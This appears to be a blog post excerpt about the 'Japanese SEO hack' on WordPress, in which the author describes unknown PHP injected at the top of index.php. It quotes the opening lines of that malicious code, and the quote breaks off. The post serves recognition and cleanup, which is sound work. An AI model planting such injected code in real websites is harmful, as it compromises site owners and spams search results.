Japanese seo hack WordPress

Japanese seo in google

Ever encountered php unknown code injected at top of your index.php file? I have same issue in my WordPress website where some unknown php scripts was injected at top of index.php file. Below is the sample of that php code: &lt?php @set_time_limit(3600); @ignore_user_abort(1); $xmlname = ‘mapss271.xml’; $jdir = ”; $smuri_tmp = smrequest_uri(); if($smuri_tmp==”){ $smuri_tmp=’/’; } […]